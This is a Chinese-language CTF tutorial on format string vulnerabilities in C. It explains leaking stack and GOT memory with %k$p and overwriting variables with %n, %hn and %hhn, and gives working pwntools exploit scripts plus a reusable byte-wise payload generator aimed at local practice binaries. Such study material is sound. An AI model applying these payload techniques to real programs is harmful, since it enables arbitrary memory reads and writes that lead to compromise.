格式化字符串漏洞在实战中的最大作用就是泄露和覆盖任意内存地址
原理简要介绍
格式化字符串函数接受可变数量的参数,并将第一个参数作为格式化字符串,根据其解析之后的参数。
格式化字符串的利用分为三个部分
(1)格式化字符串函数
(2)格式化字符串
(3)后续参数(可选)
例如:
printf("output1:%s,output2:%p,output3:%4,2f",a,b,c);
其中,
- printf()函数就是格式化字符串函数
- "output1:%s,output2:%p,output3:%4,2f"就是格式化字符串
- a,b,c就是后续参数
格式化字符串最常见的漏洞就是参数未写全,比如这样一个语句
printf("output1:%s,output2:%p,output3:%4,2f");
由于没有对应的参数用于解析,格式化字符串就会把对应位置上,栈上的非法值作为参数解析,这就造成了安全风险。
泄露任意内存地址
泄露栈的值
根据C语言的调用规则,格式化字符串函数会根据格式化字符串中的内容,按照顺序逐个使用栈上的数据作为参数(64位系统会根据其传参的规则进行获取)
例:
漏洞函数vulnfunc
int vulnfunc()
{
char format[264]; // [esp+0h] [ebp-108h] BYREF
__isoc99_scanf("%100s", format);
return printf(format);
这就是格式化字符串函数的基本格式,format内容可控,且printf直接将format的地址作为参数
在printf前下断点,输入"%p%p%p",然后c运行
可以看到将格式化字符串后的参数按照%p格式解析,依次泄露了栈上0xffffccc0,0x1,0x1三个数值
泄露任意地址内存
想泄露任意地址内存,需要两个步骤
1)泄露栈上任意地址的元素
2)将任意地址写入栈上
可以通过%k$p
,这里的p是可以更换的,比如更换
为s就可以解析栈上的数据为字符串。重点是理解k的含义:k
表示要打印的参数距离目前格式化字符串参数的距离。
比如上面是我尝试泄露格式化字符串后第二个参数
如果在上面的vulnfunc中尝试泄露scanf函数(编译后是__isoc99_scanf)的地址
❯ readelf -r ./leakmemory | grep scanf
0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
注意这里的函数名以双下划线开头(写成单下划线打不出来笑了)
先输入"aaaa",可以看到输入的字符串在格式化字符串下第四个参数的位置
那么构造scanf_got + %4$p
的payload即可泄露出scanf的地址
exp
from pwn import *
p = process("./leakmemory")
elf = ELF("./leakmemory")
#gdb.attach(p)
scanf_got = elf.got["__isoc99_scanf"]
payload = p32(scanf_got) + b"%4$p"
p.sendline(payload)
leak = u32(p.recv(8)[4:])
log.success("scanf_got:" + hex(leak))
p.interactive()
覆盖任意地址内存
这里要用到一个格式化字符的类型 %n
,它不输出字符,但是可以把已经输出的字符个数写入对应的整型指针参数所指的变量
比如这样一条语句
printf("aaaa%n",b);
因为在遇到%n前已经打印出4个字符,所以在这条语句执行结束后,b的值会变成4
例:
vulnfunc函数
void vulnfunc() {
char buf[0x100];
int a = 0xdeadbeef;
printf("%p\n",&a);
scanf("%100s",buf);
printf(buf);
if (a == 0x10){
puts("overwrite a for a regular value");
}
else if (b == 2){
puts("overwrite b for a small value");
}
else if (c == 0x12345678){
puts("overwrite c for a big value");
}
}
这道题中,需要把a,b,c分别覆盖为0x10,2,0x12345678
(a是局部变量,局部变量是存储在栈上的,其地址会因为开启ASLR而变化,所以在函数中将a的地址打印出来了。)
覆盖a的值为0x10
0x10也就是16,利用刚刚的方法,在%n前输出16个字符,用%k$n的格式将地址写入到a对应的栈位置即可。
先调试查看a的地址对应的偏移
从esp对应的位置往下数,可以看到第8个位置对应的是a的值,所以payload为a_addr+%12c+%8$n
a的地址占4个字符,因此要用%12c
补全剩余的12个字符
%12c
是一个格式化指令,用于控制字符(char)的输出格式,具体含义是:
c
:表示输出一个字符(根据传入的 ASCII 码值打印对应的字符)。
12
:是最小字段宽度,指定输出该字符时至少要占用 12 个字符的位置。
当使用%12c
时,格式化函数(如 printf)会:
取出对应的参数(一个整数,作为 ASCII 码值),转换为对应的字符。
如果该字符的显示宽度不足 12 个字符,则在字符左侧用空格填充,直到总宽度达到 12 个字符。
最终输出这 12 个字符(空格 + 实际字符)。
exp
from pwn import *
p = process("./overwrite")
elf = ELF("./overwrite")
a_addr = int(p.recvuntil("\n",drop = True),16)
log.success("a_addr:" + hex(a_addr))
payload = p32(a_addr) + b"%12c" + b"%8$n"
p.sendline(payload)
p.interactive()
覆盖b的值为2
把b的地址放在%k$n
后,具体调试偏移即可
payload:"aa" + "%k$n" + b_addr
b是data段的数据,地址通过ida查看
exp
from pwn import *
p = process("./overwrite")
b_addr = 0x0804a028
payload = b"aa" + b"%10$n" + b"b" +p32(b_addr)
p.recvuntil(b"\n")
p.sendline(payload)
p.interactive()
注意一下实际的payload这里
payload = b"aa" + b"%10$n" + b"b" +p32(b_addr)
32位每个栈帧的大小是4字节,也就是4个字符
aa%1
是4个字符,占一个栈帧,而0$n
只有三个字符,所以要再加一个任意字符填充,让b的地址正好在第10个位置上。
gdb调试
覆盖c的值为0x12345678
理论上可以通过写入很多个字节覆盖,但是实际上通常会采用逐字节写入的方式
这里涉及到两个标志
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。(char类型长度)
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。(short类型长度)
也就是说可以利用%hnn向某个地址写入单字节,利用%hn向某个地址写入双字节。
可以举一个例子
int a = 0x12345678;
printf("123%hhn",&a);
//overwrite a=>0x12345603
int a = 0x12345678;
printf("123%hn",&a);
//overwritea =>0x12340003
先ida查看一下c的地址
所以期望的覆盖方式是这样的
0x0804A02C \x78
0x0804A02D \x56
0x0804A02E \x34
0x0804A02F \x12
由于字符串的偏移是8,所以可以确定payload是这个样子的
p32(0x0804A02C)+p32(0x0804A02D)+p32(0x0804A02E)+p32(0x0804A02F)+pad1+'%8$n'+pad2+'%9$n'+pad3+'%10$n'+pad4+'%11$n'
可以依次计算
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
fmtstr = ""
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode()
def fmt_str(offset, size, addr, target):
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
其中每个参数的含义基本如下
offset
表示要覆盖的地址最初的偏移size
表示机器字长addr
表示将要覆盖的地址target
表示我们要覆盖为的目的变量值
exp
from pwn import *
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
fmtstr = ""
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode()
def fmt_str(offset, size, addr, target):
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
def exp():
p = process("./overwrite")
payload = fmt_str(8,4,0x0804A02c,0x12345678)
print("Payload:", payload.hex())
p.sendline(payload)
print("Received:", p.recv().hex())
p.interactive()
exp()
payload深入解析:
>>> hex(16 + 104)
'0x78'
>>> hex(16 + 104 + 222)
'0x156'
>>> hex(16 + 104 + 222 + 222)
'0x234'
>>> hex(16 + 104 + 222 + 222 + 222)
'0x312'
可以看到,首先是4个c的逐字节写的地址,这4个地址占用16字节,后面的是padding加上对应的偏移。上述代码计算了printf函数进行到每个%k$hhn
的时候已经打印的字符个数(这里指的是printf运行到%8$hhn
、%9$hhn
时打印的字符串个数),比如第一行:16+104
,4个地址占了16字节,然后再打印104字节(%104c
),这样就能够写入0x78
这个字符了。
后续的0x56(c的第二个地址需要写入0x56
)这个字符是怎么写入的呢?
实际上,最后写入的字符个数是0x156,但是因为选择的是hhn
这种写入方法,最多只能写入0~0xff
范围内的数字,所以就写入了0x56
,而0x100
是无法写入的。
后续的0x34和0x12的处理过程也是一样的
参考文章和书籍:
ctfwiki_格式化字符串漏洞
《ctf那些事儿》